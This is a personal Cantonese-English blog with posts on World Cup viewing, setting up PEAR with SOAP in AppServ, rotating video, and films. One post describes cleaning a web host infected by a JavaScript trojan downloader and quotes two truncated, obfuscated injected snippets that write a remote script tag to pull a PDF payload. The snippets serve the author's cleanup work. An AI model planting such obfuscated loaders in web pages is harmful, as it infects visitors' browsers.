小新二三事 二三事 電視精/戲院 ASP .NET 新手工作日誌

2010年6月13日星期日

高清世界盃 201 vs 低清世界盃 61

高清世界盃 201 vs 低清世界盃 61

4年一度世界盃又到, 今年得有線播
無晒世界盃氣氛
無線得低能 winning 畫面, 仲可以做節目

想睇, 一係去有線人屋企睇
一係去商場睇

我都有"有線"
不過唔係高清
成個畫面得番1/4...

勁低能

不過最唔鐘意係d 烏蠅打氣聲
...

去商場睇又勁多人
不過氣氛 好正


成個商場一齊叫都幾勁

原來幾個月無update 過blog

原來幾個月無update 過blog

慢慢寫番幾個月來睇左既戲先

2010年3月9日星期二

install PEAR in AppServ with SOAP package

install PEAR in AppServ with SOAP package

Step 1:
Download appserv-win32-2.5.10.exe
from
http://www.appservnetwork.com/index.php

Step 2:
notepad c:\windows\php.ini

update it with
extension=php_mbstring.dll
extension=php_exif.dll

Step 3:
Run Apache Restart
Run C:\AppServ\php5\go-pear.bat
press enter for 2 questions
Run c:\AppServ\php5\PEAR_ENV.reg

Step 4:
Run Apache Restart
CMD
CD c:\AppServ\php5\
pear install -f -o SOAP

pear install -f -o SOAP


from
http://polinwei.blogspot.com/2009/05/php-appserv-pear-mysql.html
http://blog.yam.com/eviles/article/2783130


2010年1月27日星期三

trojan horse, virus report: Trojan Downloader JS Pegel d

trojan horse, virus report: Trojan Downloader JS Pegel d

http://www.viruslist.com/hch/search?VN=Trojan-Downloader.JS.Pegel.d
no information from this link

strange javascript were inserted to index.html, index.php, main.html, main.php, *.js
in webhosting server

after check
strange javascript will run in IE, Firefox
to make an iframe
to download a pdf "ChangeLog.pdf"
from ru website

ref:
http://bbs.janmeng.com/redirect.php?tid=915346&goto=lastpost

after I found the strange code
update antivirus, pdf reader, broswer

steps of my solution :
1. download files back to PC
2. files got deleted when antivirus activated
3. disable antivirus then download files
(zip a copy)
4. manual delete javascript code for 10 files.
5. use notepad+ to search and replace javascript
6. enable antivirus then upload files


2 types of javascript to search and replace
type 1
<script>
/*Exception*/ document.write('<script src='+'h&amp;t()$#t(p!(:!^</b>...<b>\!|\^|&amp;/ig, '')+' defer=defer></scr'+'ipt>');
</script>
type 2
/*Exception*/ document.write('<script src='+'h&amp;t()$#t(p!(:!^</b>...<b>\!|\^|&amp;/ig, '')+' defer=defer></scr'+'ipt>');


hour to update and clear all files for 1 domain
total 8:


so bad luck

2010年1月10日星期日

2010-01-09 半夜 真心話

2010-01-09 半夜 真心話



老土, 但係幾好睇

電影真心話(TRUTH ABOUT JANE & SAM),是由範文芳、何潤東主演,爾冬陞編導。這是一齣愛情片,講述一對男女生活與成長環境懸殊,從邂逅、相戀的經歷,最終兩人一起步向陽光。

Rotate video for 90 degree in PC

Rotate video for 90 degree in PC
steps:
1. http://www.virtualdub.org
2. download virtualdub newest version
3. run
4. File->open-> 你個 avi
5. Video->Filters->Add... "Rotate", set your desired angle
6. Set video compression
(MUST DO !!! otherwise you will get a UNCOMPRESSED MICROSOFT AVI, which is 2GB for only 5 minutes!)
7. Set Audio
8. File->Save As avi file

2009年12月28日星期一

2009-12-28 加菲貓電影 Garfield

2009-12-28 加菲貓電影 Garfield



隻狗阿的最勁